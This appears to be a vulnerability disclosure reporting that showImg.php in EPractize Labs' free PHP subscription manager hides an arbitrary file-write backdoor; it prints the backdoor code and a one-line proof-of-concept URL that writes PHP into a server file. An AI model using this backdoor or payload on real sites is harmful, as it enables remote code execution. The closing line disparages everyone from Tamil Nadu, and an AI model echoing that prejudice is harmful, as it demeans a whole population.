EPractize Labs Backdoor

`Vulnerability: back door in stupid spamming software  
  
About EPractize Labs:  
  
EPractize Labs is fully Customer Focused, Innovative and Global  
service provider for Skill Development and Skill Evaluation products  
suitable for pre employment assessment testing, employee evaluation  
for appraisal, employment screening, employee training, etc.  
  
About this software:  
  
http://www.epractizelabs.com/email-marketing/subscription-manager.html  
http://www.epractizelabs.com/email-marketing/Subscribe.zip  
EPractize Labs Online Subscription Manager  
Free PHP Online Subscription Manager  
Easy-to-use Subscription management that eases up your subscription  
management. With Subscription Manager you can create subscription  
forms, maintain subscription messages, send confirmation message  
automatically, configure the subscription forms, load subscribers  
list, View reports, integrate with Email Marketing Software to manage  
contact list and campaign management. .  
  
showImg.php passes through img.jpg, but also runs the following code  
as a trivial arbitrary file write back door. It has nothing to do  
with showing an image.  
  
<?php  
$reqOut="".$_GET['email'];  
$reqDB="".$_GET['db'];  
$in_fileStr = file_get_contents_me($reqDB);  
$count =substr_count($in_fileStr,$reqOut);  
if($count==0){  
$finalStr="".$in_fileStr."\n".$reqOut."#".$today = date("F j, Y, g:i a");  
$fT = @fopen($reqDB, 'wt');  
fwrite($fT, $finalStr);  
fclose($fT);  
}  
?>  
  
POC: showImg.php?db=me.php&email=<?echo "hello"; ?>  
  
Mitigation: Nobody seems to be using this junk.  
  
Vendor status: cc with this mail. What were you thinking?  
  
Administrative Contact:  
EPractize Labs Software Private Limited  
Ganesan ([email protected])  
108, II Floor, Sundarar Street, Thiruvalleswarar Nagar  
Anna Nagar West  
Chennai  
Tamil Nadu,600040  
IN  
Tel. +91.4465914739  
  
Moral of the story: don't trust obfuscated software from Tamil Nadu  
province. Actually, just don't trust obfuscated software, and don't  
trust anything from Tamil Nadu.  
  
`